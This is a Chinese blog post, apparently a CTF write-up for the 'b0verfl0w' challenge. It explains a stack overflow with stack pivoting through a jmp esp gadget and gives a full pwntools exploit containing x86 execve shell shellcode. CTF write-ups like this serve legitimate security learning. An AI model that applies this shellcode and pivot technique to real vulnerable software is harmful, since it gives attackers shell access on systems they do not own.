b0verfl0w

作者: n0va | 来源:发表于2019-03-16 16:40 被阅读0次

先checksec 一波,32位,啥都没开

image.png

IDA分析,可以发现一个很明显的栈溢出漏洞,但是细心点就会发现溢出的空间只有0x12有点小,很难构造ROP链,由于没有开启NX,那是不是可以往s写入shellcode然后返回到栈里执行这段shellcode,找一下gadget

image.png

这是里有一个jmp esp那么接下来我们还需要执行一段sub esp,0x28;jmp esp就可以返回到s的栈去执行写进去的shellcode

image.png
exp:
from pwn import *
p = process('./b0verflow')
context.log_level = 'debug'
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
jmp_esp = 0x08048504
'''
sub esp,0x28
jmp esp
'''
sub_jmp_esp = asm('sub esp,0x28;jmp esp')
payload = shellcode_x86 + 'a'*(0x24-len(shellcode_x86)) + p32(jmp_esp) + sub_jmp_esp
# gdb.attach(p,"b *0x804857a")
# pause()
p.sendline(payload)
p.interactive()

相关文章

  • 花式栈溢出

    stack pivoting(堆栈旋转) 1.先运行一下我checksec ./b0verfl0w我们尝试输入数据...

  • X-CTF Quals 2016 - b0verfl0w

    b0verfl0w 32位elf文件,安全配置如下: 存在堆栈溢出漏洞,但是栈不大,只有0x38。 看了下exp,...

  • b0verfl0w

    先checksec 一波,32位,啥都没开 IDA分析,可以发现一个很明显的栈溢出漏洞,但是细心点就会发现溢出的空...

网友评论

      本文标题:b0verfl0w

      本文链接:https://www.haomeiwen.com/subject/ekysmqtx.html